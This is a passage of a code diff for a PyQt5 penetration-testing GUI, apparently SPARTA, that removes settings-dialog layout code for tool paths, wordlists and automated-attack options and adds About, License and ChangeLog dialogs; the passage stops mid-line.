self.hlayoutGeneral_8.addWidget(self.label6) - self.hlayoutGeneral_8.addWidget(self.passwordlistPath) - self.hlayoutGeneral_8.addWidget(self.browsePasswordsListButton) - self.hlayoutGeneral_8.addStretch() - - self.label7 = QtWidgets.QLabel() - self.label7.setText('Default username') - self.label7.setFixedWidth(150) - self.defaultUserText = QtWidgets.QLineEdit() - self.defaultUserText.setFixedWidth(125) - self.hlayoutGeneral_9 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_9.addWidget(self.label7) - self.hlayoutGeneral_9.addWidget(self.defaultUserText) - self.hlayoutGeneral_9.addStretch() - - self.label8 = QtWidgets.QLabel() - self.label8.setText('Default password') - self.label8.setFixedWidth(150) - self.defaultPassText = QtWidgets.QLineEdit() - self.defaultPassText.setFixedWidth(125) - self.hlayoutGeneral_10 = QtWidgets.QHBoxLayout() - self.hlayoutGeneral_10.addWidget(self.label8) - self.hlayoutGeneral_10.addWidget(self.defaultPassText) - self.hlayoutGeneral_10.addStretch() - - self.vlayoutBrute.addLayout(self.hlayoutGeneral_7) - self.vlayoutBrute.addLayout(self.hlayoutGeneral_8) - self.vlayoutBrute.addLayout(self.hlayoutGeneral_9) - self.vlayoutBrute.addLayout(self.hlayoutGeneral_10) - self.bruteSpacer = QSpacerItem(10,380) - self.vlayoutBrute.addItem(self.bruteSpacer) - - def setupToolsTab(self): - self.ToolPathsWidget = QtWidgets.QWidget() - self.ToolHelpTab.addTab(self.ToolPathsWidget, "Tool Paths") - self.HostActionsWidget = QtWidgets.QWidget() - self.ToolHelpTab.addTab(self.HostActionsWidget, "Host Commands") - self.PortActionsWidget = QtWidgets.QWidget() - self.ToolHelpTab.addTab(self.PortActionsWidget, "Port Commands") - self.portTerminalActionsWidget = QtWidgets.QWidget() - self.ToolHelpTab.addTab(self.portTerminalActionsWidget, "Terminal Commands") - self.StagedNmapWidget = QtWidgets.QWidget() - self.ToolHelpTab.addTab(self.StagedNmapWidget, "Staged Nmap") - - self.setupToolPathsTab() - self.setupHostCommandsTab() - self.setupPortCommandsTab() - self.setupTerminalCommandsTab() - self.setupStagedNmapTab() - - def setupToolPathsTab(self): - self.nmapPathlabel = QtWidgets.QLabel() - self.nmapPathlabel.setText('Nmap') - self.nmapPathlabel.setFixedWidth(100) - self.nmapPathInput = QtWidgets.QLineEdit() - self.nmapPathHorLayout = QtWidgets.QHBoxLayout() - self.nmapPathHorLayout.addWidget(self.nmapPathlabel) - self.nmapPathHorLayout.addWidget(self.nmapPathInput) - self.nmapPathHorLayout.addStretch() - - self.hydraPathlabel = QtWidgets.QLabel() - self.hydraPathlabel.setText('Hydra') - self.hydraPathlabel.setFixedWidth(100) - self.hydraPathInput = QtWidgets.QLineEdit() - self.hydraPathHorLayout = QtWidgets.QHBoxLayout() - self.hydraPathHorLayout.addWidget(self.hydraPathlabel) - self.hydraPathHorLayout.addWidget(self.hydraPathInput) - self.hydraPathHorLayout.addStretch() - - self.cutycaptPathlabel = QtWidgets.QLabel() - self.cutycaptPathlabel.setText('Cutycapt') - self.cutycaptPathlabel.setFixedWidth(100) - self.cutycaptPathInput = QtWidgets.QLineEdit() - self.cutycaptPathHorLayout = QtWidgets.QHBoxLayout() - self.cutycaptPathHorLayout.addWidget(self.cutycaptPathlabel) - self.cutycaptPathHorLayout.addWidget(self.cutycaptPathInput) - self.cutycaptPathHorLayout.addStretch() - - self.textEditorPathlabel = QtWidgets.QLabel() - self.textEditorPathlabel.setText('Text editor') - self.textEditorPathlabel.setFixedWidth(100) - self.textEditorPathInput = QtWidgets.QLineEdit() - self.textEditorPathHorLayout = QtWidgets.QHBoxLayout() - self.textEditorPathHorLayout.addWidget(self.textEditorPathlabel) - self.textEditorPathHorLayout.addWidget(self.textEditorPathInput) - self.textEditorPathHorLayout.addStretch() - - self.toolsPathVerLayout = QtWidgets.QVBoxLayout() - self.toolsPathVerLayout.addLayout(self.nmapPathHorLayout) - self.toolsPathVerLayout.addLayout(self.hydraPathHorLayout) - self.toolsPathVerLayout.addLayout(self.cutycaptPathHorLayout) - self.toolsPathVerLayout.addLayout(self.textEditorPathHorLayout) - self.toolsPathVerLayout.addStretch() - - self.globToolsPathHorLayout = QtWidgets.QHBoxLayout(self.ToolPathsWidget) - self.globToolsPathHorLayout.addLayout(self.toolsPathVerLayout) - self.toolsPathHorSpacer = QSpacerItem(50,0) # right margin spacer - self.globToolsPathHorLayout.addItem(self.toolsPathHorSpacer) - - def setupHostCommandsTab(self): - self.toolForHostsTableWidget = QtWidgets.QTableWidget(self.HostActionsWidget) - self.toolForHostsTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) - self.toolForHostsTableWidget.setFixedWidth(180) - self.toolForHostsTableWidget.setShowGrid(False) # to make the cells of the table read only - self.toolForHostsTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) - - self.toolForHostsTableWidget.setColumnCount(1) - self.toolForHostsTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.toolForHostsTableWidget.horizontalHeaderItem(0).setText("Name") - self.toolForHostsTableWidget.horizontalHeader().resizeSection(0,200) - self.toolForHostsTableWidget.horizontalHeader().setVisible(False) - self.toolForHostsTableWidget.verticalHeader().setVisible(False) # row header - is hidden - self.toolForHostsTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) - - self.horLayoutPortActions = QtWidgets.QHBoxLayout() - self.removeToolForHostButton = QPushButton('Remove') - self.removeToolForHostButton.setMaximumSize(90, 30) - self.addToolForHostButton = QPushButton('Add') - self.addToolForHostButton.setMaximumSize(90, 30) - self.horLayoutPortActions.addWidget(self.addToolForHostButton) - self.horLayoutPortActions.addWidget(self.removeToolForHostButton) - - self.actionHost = QtWidgets.QLabel() - self.actionHost.setText('Tools') - - self.verLayoutPortActions = QtWidgets.QVBoxLayout() - self.verLayoutPortActions.addWidget(self.actionHost) - self.verLayoutPortActions.addWidget(self.toolForHostsTableWidget) - self.verLayoutPortActions.addLayout(self.horLayoutPortActions) - - self.verLayout1 = QtWidgets.QVBoxLayout() - - self.horLayout4 = QtWidgets.QHBoxLayout() - self.label12 = QtWidgets.QLabel() - self.label12.setText('Tool') - self.label12.setFixedWidth(70) - self.hostActionNameText = QtWidgets.QLineEdit() - - self.horLayout4.addWidget(self.label12) - self.horLayout4.addWidget(self.hostActionNameText) - - self.label9 = QtWidgets.QLabel() - self.label9.setText('Label') - self.label9.setFixedWidth(70) - - self.hostLabelText = QtWidgets.QLineEdit() - self.hostLabelText.setText(' ') - self.hostLabelText.setReadOnly(True) - - self.horLayout1 = QtWidgets.QHBoxLayout() - self.horLayout1.addWidget(self.label9) - self.horLayout1.addWidget(self.hostLabelText) - - self.horLayout2 = QtWidgets.QHBoxLayout() - self.label10 = QtWidgets.QLabel() - self.label10.setText('Command') - self.label10.setFixedWidth(70) - - self.hostCommandText = QtWidgets.QLineEdit() - self.hostCommandText.setText('init value') - self.horLayout2.addWidget(self.label10) - self.horLayout2.addWidget(self.hostCommandText) - - self.spacer6 = QSpacerItem(0,20) - self.verLayout1.addItem(self.spacer6) - self.verLayout1.addLayout(self.horLayout4) - self.verLayout1.addLayout(self.horLayout1) - self.verLayout1.addLayout(self.horLayout2) - self.spacer1 = QSpacerItem(0,800) - self.verLayout1.addItem(self.spacer1) - - self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.HostActionsWidget) - self.globLayoutPortActions.addLayout(self.verLayoutPortActions) - self.spacer5 = QSpacerItem(10,0) - self.globLayoutPortActions.addItem(self.spacer5) - self.globLayoutPortActions.addLayout(self.verLayout1) - self.spacer2 = QSpacerItem(50,0) - self.globLayoutPortActions.addItem(self.spacer2) - - def setupPortCommandsTab(self): - self.label11 = QtWidgets.QLabel() - self.label11.setText('Tools') - - self.toolForServiceTableWidget = QtWidgets.QTableWidget(self.PortActionsWidget) - self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) - self.toolForServiceTableWidget.setFixedWidth(180) - self.toolForServiceTableWidget.setShowGrid(False) - self.toolForServiceTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) - # table headers - self.toolForServiceTableWidget.setColumnCount(1) - self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.toolForServiceTableWidget.horizontalHeaderItem(0).setText("Name") - self.toolForServiceTableWidget.horizontalHeader().resizeSection(0,200) - self.toolForServiceTableWidget.horizontalHeader().setVisible(False) - self.toolForServiceTableWidget.verticalHeader().setVisible(False) - self.toolForServiceTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) - - self.horLayoutPortActions = QtWidgets.QHBoxLayout() - self.addToolButton = QPushButton('Add') - self.addToolButton.setMaximumSize(90, 30) - self.removeToolButton = QPushButton('Remove') - self.removeToolButton.setMaximumSize(90, 30) - self.horLayoutPortActions.addWidget(self.addToolButton) - self.horLayoutPortActions.addWidget(self.removeToolButton) - - self.verLayoutPortActions = QtWidgets.QVBoxLayout() - self.verLayoutPortActions.addWidget(self.label11) - self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) - self.verLayoutPortActions.addLayout(self.horLayoutPortActions) - - self.verLayout1 = QtWidgets.QVBoxLayout() - # right side - self.horLayout4 = QtWidgets.QHBoxLayout() - self.label12 = QtWidgets.QLabel() - self.label12.setText('Tool') - self.label12.setFixedWidth(70) - self.portActionNameText = QtWidgets.QLineEdit() - self.horLayout4.addWidget(self.label12) - self.horLayout4.addWidget(self.portActionNameText) - - self.horLayout1 = QtWidgets.QHBoxLayout() - self.label9 = QtWidgets.QLabel() - self.label9.setText('Label') - self.label9.setFixedWidth(70) - self.portLabelText = QtWidgets.QLineEdit() - self.portLabelText.setText(' ') - self.portLabelText.setReadOnly(True) - self.horLayout1.addWidget(self.label9) - self.horLayout1.addWidget(self.portLabelText) - - self.horLayout2 = QtWidgets.QHBoxLayout() - self.label10 = QtWidgets.QLabel() - self.label10.setText('Command') - self.label10.setFixedWidth(70) - self.portCommandText = QtWidgets.QLineEdit() - self.portCommandText.setText('init value') - self.horLayout2.addWidget(self.label10) - self.horLayout2.addWidget(self.portCommandText) - - self.servicesAllTableWidget = QtWidgets.QTableWidget() - self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) - self.servicesAllTableWidget.setMaximumSize(150, 300) - self.servicesAllTableWidget.setColumnCount(1) - self.servicesAllTableWidget.horizontalHeader().resizeSection(0,150) - self.servicesAllTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.servicesAllTableWidget.horizontalHeaderItem(0).setText("Name") - self.servicesAllTableWidget.horizontalHeader().setVisible(False) - self.servicesAllTableWidget.setShowGrid(False) - self.servicesAllTableWidget.verticalHeader().setVisible(False) - - self.servicesActiveTableWidget = QtWidgets.QTableWidget() - self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) - self.servicesActiveTableWidget.setMaximumSize(150, 300) - self.servicesActiveTableWidget.setColumnCount(1) - self.servicesActiveTableWidget.horizontalHeader().resizeSection(0,150) - self.servicesActiveTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.servicesActiveTableWidget.horizontalHeaderItem(0).setText("Name") - self.servicesActiveTableWidget.horizontalHeader().setVisible(False) - self.servicesActiveTableWidget.setShowGrid(False) - self.servicesActiveTableWidget.verticalHeader().setVisible(False) - - self.verLayout2 = QtWidgets.QVBoxLayout() - - self.addServicesButton = QPushButton('-->') - self.addServicesButton.setMaximumSize(30, 30) - self.removeServicesButton = QPushButton('<--') - self.removeServicesButton.setMaximumSize(30, 30) - - self.spacer4 = QSpacerItem(0,90) # space above and below arrow buttons - self.verLayout2.addItem(self.spacer4) - self.verLayout2.addWidget(self.addServicesButton) - self.verLayout2.addWidget(self.removeServicesButton) - self.verLayout2.addItem(self.spacer4) - - self.horLayout3 = QtWidgets.QHBoxLayout() # space left of multiple choice widget - self.spacer3 = QSpacerItem(78,0) - self.horLayout3.addItem(self.spacer3) - self.horLayout3.addWidget(self.servicesAllTableWidget) - self.horLayout3.addLayout(self.verLayout2) - self.horLayout3.addWidget(self.servicesActiveTableWidget) - - self.spacer6 = QSpacerItem(0,20) # top right space - self.verLayout1.addItem(self.spacer6) - self.verLayout1.addLayout(self.horLayout4) - self.verLayout1.addLayout(self.horLayout1) - self.verLayout1.addLayout(self.horLayout2) - self.verLayout1.addLayout(self.horLayout3) - self.spacer1 = QSpacerItem(0,50) # bottom right space - self.verLayout1.addItem(self.spacer1) - - self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.PortActionsWidget) - self.globLayoutPortActions.addLayout(self.verLayoutPortActions) - - self.spacer5 = QSpacerItem(10,0) # space between left and right layouts - self.globLayoutPortActions.addItem(self.spacer5) - self.globLayoutPortActions.addLayout(self.verLayout1) - self.spacer2 = QSpacerItem(50,0) # right margin space - self.globLayoutPortActions.addItem(self.spacer2) - - def setupTerminalCommandsTab(self): - self.actionTerminalLabel = QtWidgets.QLabel() - self.actionTerminalLabel.setText('Tools') - - self.toolForTerminalTableWidget = QtWidgets.QTableWidget(self.portTerminalActionsWidget) - self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) - self.toolForTerminalTableWidget.setFixedWidth(180) - self.toolForTerminalTableWidget.setShowGrid(False) - # to make the cells of the table read only - self.toolForTerminalTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) - # table headers - self.toolForTerminalTableWidget.setColumnCount(1) - self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") - self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) - self.toolForTerminalTableWidget.horizontalHeader().setVisible(False) - self.toolForTerminalTableWidget.verticalHeader().setVisible(False) - self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) - - self.horLayout1 = QtWidgets.QHBoxLayout() - self.addToolForTerminalButton = QPushButton('Add') - self.addToolForTerminalButton.setMaximumSize(90, 30) - self.removeToolForTerminalButton = QPushButton('Remove') - self.removeToolForTerminalButton.setMaximumSize(90, 30) - self.horLayout1.addWidget(self.addToolForTerminalButton) - self.horLayout1.addWidget(self.removeToolForTerminalButton) - - self.verLayout1 = QtWidgets.QVBoxLayout() - self.verLayout1.addWidget(self.actionTerminalLabel) - self.verLayout1.addWidget(self.toolForTerminalTableWidget) - self.verLayout1.addLayout(self.horLayout1) - - self.horLayout2 = QtWidgets.QHBoxLayout() - self.actionNameTerminalLabel = QtWidgets.QLabel() - self.actionNameTerminalLabel.setText('Tool') - self.actionNameTerminalLabel.setFixedWidth(70) - self.terminalActionNameText = QtWidgets.QLineEdit() - self.horLayout2.addWidget(self.actionNameTerminalLabel) - self.horLayout2.addWidget(self.terminalActionNameText) - - self.horLayout3 = QtWidgets.QHBoxLayout() - self.labelTerminalLabel = QtWidgets.QLabel() - self.labelTerminalLabel.setText('Label') - self.labelTerminalLabel.setFixedWidth(70) - self.terminalLabelText = QtWidgets.QLineEdit() - self.terminalLabelText.setText(' ') - self.terminalLabelText.setReadOnly(True) - self.horLayout3.addWidget(self.labelTerminalLabel) - self.horLayout3.addWidget(self.terminalLabelText) - - self.horLayout4 = QtWidgets.QHBoxLayout() - self.commandTerminalLabel = QtWidgets.QLabel() - self.commandTerminalLabel.setText('Command') - self.commandTerminalLabel.setFixedWidth(70) - self.terminalCommandText = QtWidgets.QLineEdit() - self.terminalCommandText.setText('init value') - self.horLayout4.addWidget(self.commandTerminalLabel) - self.horLayout4.addWidget(self.terminalCommandText) - - self.terminalServicesAllTable = QtWidgets.QTableWidget() - self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectRows) - self.terminalServicesAllTable.setMaximumSize(150, 300) - self.terminalServicesAllTable.setColumnCount(1) - self.terminalServicesAllTable.horizontalHeader().resizeSection(0,150) - self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.terminalServicesAllTable.horizontalHeaderItem(0).setText("Available Services") - self.terminalServicesAllTable.horizontalHeader().setVisible(False) - self.terminalServicesAllTable.setShowGrid(False) - self.terminalServicesAllTable.verticalHeader().setVisible(False) - - self.terminalServicesActiveTable = QtWidgets.QTableWidget() - self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectRows) - self.terminalServicesActiveTable.setMaximumSize(150, 300) - self.terminalServicesActiveTable.setColumnCount(1) - self.terminalServicesActiveTable.horizontalHeader().resizeSection(0,150) - self.terminalServicesActiveTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) - self.terminalServicesActiveTable.horizontalHeaderItem(0).setText("Applied Services") - self.terminalServicesActiveTable.horizontalHeader().setVisible(False) - self.terminalServicesActiveTable.setShowGrid(False) - self.terminalServicesActiveTable.verticalHeader().setVisible(False) - - self.addTerminalServiceButton = QPushButton('-->') - self.addTerminalServiceButton.setMaximumSize(30, 30) - self.removeTerminalServiceButton = QPushButton('<--') - self.removeTerminalServiceButton.setMaximumSize(30, 30) - - self.verLayout3 = QtWidgets.QVBoxLayout() - self.spacer2 = QSpacerItem(0,90) - self.verLayout3.addItem(self.spacer2) - self.verLayout3.addWidget(self.addTerminalServiceButton) - self.verLayout3.addWidget(self.removeTerminalServiceButton) - self.verLayout3.addItem(self.spacer2) - - self.horLayout5 = QtWidgets.QHBoxLayout() - self.spacer3 = QSpacerItem(78,0) - self.horLayout5.addItem(self.spacer3) - self.horLayout5.addWidget(self.terminalServicesAllTable) - self.horLayout5.addLayout(self.verLayout3) - self.horLayout5.addWidget(self.terminalServicesActiveTable) - - self.verLayout2 = QtWidgets.QVBoxLayout() - self.spacer4 = QSpacerItem(0,20) - self.verLayout2.addItem(self.spacer4) - self.verLayout2.addLayout(self.horLayout2) - self.verLayout2.addLayout(self.horLayout3) - self.verLayout2.addLayout(self.horLayout4) - self.verLayout2.addLayout(self.horLayout5) - self.spacer5 = QSpacerItem(0,50) - self.verLayout2.addItem(self.spacer5) - - self.globLayoutTerminalActions = QtWidgets.QHBoxLayout(self.portTerminalActionsWidget) - self.globLayoutTerminalActions.addLayout(self.verLayout1) - self.spacer6 = QSpacerItem(10,0) - self.globLayoutTerminalActions.addItem(self.spacer6) - self.globLayoutTerminalActions.addLayout(self.verLayout2) - self.spacer7 = QSpacerItem(50,0) - self.globLayoutTerminalActions.addItem(self.spacer7) - - def setupStagedNmapTab(self): - self.stage1label = QtWidgets.QLabel() - self.stage1label.setText('nmap stage 1') - self.stage1label.setFixedWidth(100) - self.stage1Input = QtWidgets.QLineEdit() - self.stage1Input.setFixedWidth(500) - self.hlayout1 = QtWidgets.QHBoxLayout() - self.hlayout1.addWidget(self.stage1label) - self.hlayout1.addWidget(self.stage1Input) - - self.stage2label = QtWidgets.QLabel() - self.stage2label.setText('nmap stage 2') - self.stage2label.setFixedWidth(100) - self.stage2Input = QtWidgets.QLineEdit() - self.stage2Input.setFixedWidth(500) - self.hlayout2 = QtWidgets.QHBoxLayout() - self.hlayout2.addWidget(self.stage2label) - self.hlayout2.addWidget(self.stage2Input) - - self.stage3label = QtWidgets.QLabel() - self.stage3label.setText('nmap stage 3') - self.stage3label.setFixedWidth(100) - self.stage3Input = QtWidgets.QLineEdit() - self.stage3Input.setFixedWidth(500) - self.hlayout3 = QtWidgets.QHBoxLayout() - self.hlayout3.addWidget(self.stage3label) - self.hlayout3.addWidget(self.stage3Input) - - self.stage4label = QtWidgets.QLabel() - self.stage4label.setText('nmap stage 4') - self.stage4label.setFixedWidth(100) - self.stage4Input = QtWidgets.QLineEdit() - self.stage4Input.setFixedWidth(500) - self.hlayout4 = QtWidgets.QHBoxLayout() - self.hlayout4.addWidget(self.stage4label) - self.hlayout4.addWidget(self.stage4Input) - - self.stage5label = QtWidgets.QLabel() - self.stage5label.setText('nmap stage 5') - self.stage5label.setFixedWidth(100) - self.stage5Input = QtWidgets.QLineEdit() - self.stage5Input.setFixedWidth(500) - self.hlayout5 = QtWidgets.QHBoxLayout() - self.hlayout5.addWidget(self.stage5label) - self.hlayout5.addWidget(self.stage5Input) - - self.vlayout1 = QtWidgets.QVBoxLayout() - self.vlayout1.addLayout(self.hlayout1) - self.vlayout1.addLayout(self.hlayout2) - self.vlayout1.addLayout(self.hlayout3) - self.vlayout1.addLayout(self.hlayout4) - self.vlayout1.addLayout(self.hlayout5) - self.vlayout1.addStretch() - - self.gHorLayout = QtWidgets.QHBoxLayout(self.StagedNmapWidget) - self.gHorLayout.addLayout(self.vlayout1) - self.spacer2 = QSpacerItem(50,0) # right margin spacer - self.gHorLayout.addItem(self.spacer2) - - def setupAutomatedAttacksTab(self): - self.GeneralAutoHelpWidget = QtWidgets.QWidget() - self.AutoAttacksHelpTab.addTab(self.GeneralAutoHelpWidget, "General") - self.AutoToolsWidget = QtWidgets.QWidget() - self.AutoAttacksHelpTab.addTab(self.AutoToolsWidget, "Tool Configuration") - - self.setupAutoAttacksGeneralTab() - self.setupAutoAttacksToolTab() - - def setupAutoAttacksGeneralTab(self): - self.globVerAutoSetLayout = QtWidgets.QVBoxLayout(self.GeneralAutoHelpWidget) - - self.enableAutoAttacks = QtWidgets.QCheckBox() - self.enableAutoAttacks.setText('Run automated attacks') - self.checkDefaultCred = QtWidgets.QCheckBox() - self.checkDefaultCred.setText('Check for default credentials') - - self.defaultBoxVerlayout = QtWidgets.QVBoxLayout() - self.defaultCredentialsBox = QGroupBox("Default Credentials") - self.defaultCredentialsBox.setLayout(self.defaultBoxVerlayout) - self.globVerAutoSetLayout.addWidget(self.enableAutoAttacks) - self.globVerAutoSetLayout.addWidget(self.checkDefaultCred) - self.globVerAutoSetLayout.addWidget(self.defaultCredentialsBox) - self.globVerAutoSetLayout.addStretch() - - def setupAutoAttacksToolTab(self): - self.toolNameLabel = QtWidgets.QLabel() - self.toolNameLabel.setText('Tool') - self.toolNameLabel.setFixedWidth(150) - self.toolServicesLabel = QtWidgets.QLabel() - self.toolServicesLabel.setText('Services') - self.toolServicesLabel.setFixedWidth(300) - self.enableAllToolsLabel = QtWidgets.QLabel() - self.enableAllToolsLabel.setText('Run automatically') - self.enableAllToolsLabel.setFixedWidth(150) - - self.autoToolTabHorLayout = QtWidgets.QHBoxLayout() - self.autoToolTabHorLayout.addWidget(self.toolNameLabel) - self.autoToolTabHorLayout.addWidget(self.toolServicesLabel) - self.autoToolTabHorLayout.addWidget(self.enableAllToolsLabel) - - self.scrollArea = QtWidgets.QScrollArea() - self.scrollWidget = QtWidgets.QWidget() - - self.globVerAutoToolsLayout = QtWidgets.QVBoxLayout(self.AutoToolsWidget) - self.globVerAutoToolsLayout.addLayout(self.autoToolTabHorLayout) - - self.scrollVerLayout = QtWidgets.QVBoxLayout(self.scrollWidget) - self.enabledSpacer = QSpacerItem(60,0) - - # by default the automated attacks are not activated and the tab is not enabled - self.AutoAttacksHelpTab.setTabEnabled(1,False) - - # for all the browse buttons - def wordlistDialog(self, title='Choose username path'): - if title == 'Choose username path': - path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) - self.userlistPath.setText(str(path)) - else: - path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/') - self.passwordlistPath.setText(str(path)) - +from six import u as unicode +from ui.ancillaryDialog import flipState + +class License(QtWidgets.QPlainTextEdit): + def __init__(self,parent = None): + super(License,self).__init__(parent) + self.setReadOnly(True) + self.setWindowTitle('License') + self.setGeometry(0,0,300,300) + self.center() + self.setPlainText(open('LICENSE','r').read()) + def center(self): + frameGm = self.frameGeometry() + centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + +class ChangeLog(QtWidgets.QPlainTextEdit): + def __init__(self, qss, parent = None): + super(ChangeLog,self).__init__(parent) + self.setMinimumHeight(240) + #self.setStyleSheet('''QWidget { + #color: #b1b1b1; background-color: #323232;}''') + self.setStyleSheet(qss) + self.setPlainText(open('CHANGELOG.txt','r').read()) + self.setReadOnly(True) + +class HelpDialog(QtWidgets.QDialog): + def __init__(self, name, author, copyright, emails, version, update, license, desc, smallIcon, bigIcon, qss, parent = None): + super(HelpDialog, self).__init__(parent) + self.name = name + self.author = author + self.copyright = copyright + self.emails = emails + self.version = version + self.update = update + self.desc = QtWidgets.QLabel(desc + '
') + self.smallIcon = smallIcon + self.bigIcon = bigIcon + self.qss = qss + self.setWindowTitle("About {0}".format(self.name)) + self.Main = QtWidgets.QVBoxLayout() + self.frm = QtWidgets.QFormLayout() + self.setGeometry(0, 0, 350, 400) + self.center() + self.Qui_update() + self.setStyleSheet(self.qss) + + def center(self): + frameGm = self.frameGeometry() + centerPoint = QtWidgets.QDesktopWidget().availableGeometry().center() + frameGm.moveCenter(centerPoint) + self.move(frameGm.topLeft()) + + def Qui_update(self): + self.logoapp = QtWidgets.QLabel('') + self.logoapp.setPixmap(QtGui.QPixmap(self.smallIcon).scaled(64,64)) + self.form = QtWidgets.QFormLayout() + self.form2 = QtWidgets.QHBoxLayout() + self.form.addRow(self.logoapp,QtWidgets.QLabel('

{0} {1}

'.format(self.name, self.version))) + self.tabwid = QtWidgets.QTabWidget(self) + self.TabAbout = QtWidgets.QWidget(self) + self.TabVersion = QtWidgets.QWidget(self) + self.TabChangelog = QtWidgets.QWidget(self) + self.cmdClose = QtWidgets.QPushButton("Close") + self.cmdClose.setFixedWidth(90) + self.cmdClose.setIcon(QtGui.QIcon('images/close.png')) + self.cmdClose.clicked.connect(self.close) + + self.formAbout = QtWidgets.QFormLayout() + self.formVersion = QtWidgets.QFormLayout() + self.formChange = QtWidgets.QFormLayout() + + # About section + self.formAbout.addRow(self.desc) + self.formAbout.addRow(QtWidgets.QLabel('Last Update:')) + self.formAbout.addRow(QtWidgets.QLabel(self.update + '
')) + self.formAbout.addRow(QtWidgets.QLabel('Feedback:')) + for email in self.emails: + self.formAbout.addRow(QtWidgets.QLabel(email)) + self.formAbout.addRow(QtWidgets.QLabel(self.copyright + ' ' + self.author)) + self.gnu = QtWidgets.QLabel('
License: GNU General Public License Version
') + self.gnu.linkActivated.connect(self.link) + self.formAbout.addRow(self.gnu) + self.TabAbout.setLayout(self.formAbout) + + # Version Section + self.formVersion.addRow(QtWidgets.QLabel('Version: {0}
'.format(self.version))) + self.formVersion.addRow(QtWidgets.QLabel('Using:')) + import platform + python_version = platform.python_version() + self.formVersion.addRow(QtWidgets.QLabel(''' +
    +
  • QTVersion: {0}
  • +
  • Python: {1}
  • +
'''.format(QtCore.QT_VERSION_STR,python_version))) + self.TabVersion.setLayout(self.formVersion) + + # Changelog Section + self.formChange.addRow(ChangeLog(qss = self.qss)) + self.TabChangelog.setLayout(self.formChange) + + # self.form.addRow(self.cmdClose) + self.tabwid.addTab(self.TabAbout,'About') + self.tabwid.addTab(self.TabVersion,'Version') + self.tabwid.addTab(self.TabChangelog,'ChangeLog') + self.form.addRow(self.tabwid) + self.form2.addSpacing(240) + self.form2.addWidget(self.cmdClose) + self.form.addRow(self.form2) + self.Main.addLayout(self.form) + self.setLayout(self.Main) + + def link(self): + self.formLicense = License() + self.formLicense.show() diff --git a/ui/view.py b/ui/view.py index 8d055900..e6178b52 100644 --- a/ui/view.py +++ b/ui/view.py @@ -13,19 +13,9 @@ import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex -try: - from PyQt5.QtCore import * # for filters dialog - from PyQt5 import QtCore - from PyQt5 import QtWidgets, QtGui, QtCore -except ImportError: - log.info("Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") - -#try: -# from PySide import QtWebKit -# usePySide = True -#except ImportErro as e: -# log.info("Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") -# exit(1) +from PyQt5.QtCore import * # for filters dialog +from PyQt5 import QtCore +from PyQt5 import QtWidgets, QtGui, QtCore from ui.gui import * from ui.dialogs import * @@ -49,11 +39,13 @@ def __init__(self, ui, ui_mainwindow): QtCore.QObject.__init__(self) self.ui = ui self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings - self.ui_mainwindow.setGeometry(0,30,1024,650) # align window to topleft corner and set default size - self.ui.splitter_2.setSizes([300,10]) # set better default size for bottom panel - - self.startOnce() # initialisations that happen only once, when the SPARTA is launched - self.startConnections() # signal initialisations (signals/slots, actions, etc) + self.ui_mainwindow.setGeometry(0, 30, 1024, 768) # align window to topleft corner and set default size + self.ui.splitter_2.setSizes([300, 10]) # set better default size for bottom panel + self.qss = None + + ## Calling these remotely from controller after it initalizes + #self.startOnce() # initialisations that happen only once, when the SPARTA is launched + #self.startConnections() # signal initialisations (signals/slots, actions, etc) def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions self.controller = controller @@ -65,7 +57,7 @@ def startOnce(self): self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) - self.helpWidget = AddHelpDialog(self.ui.centralwidget) + self.helpDialog = HelpDialog(self.controller.name, self.controller.author, self.controller.copyright, self.controller.emails, self.controller.version, self.controller.update, self.controller.license, self.controller.desc, self.controller.smallIcon, self.controller.bigIcon, qss = self.qss, parent = self.ui.centralwidget) self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) @@ -228,7 +220,7 @@ def setDirty(self, status=True): # this funct else: title += ntpath.basename(str(self.controller.getProjectName())) - self.setMainWindowTitle(self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) + 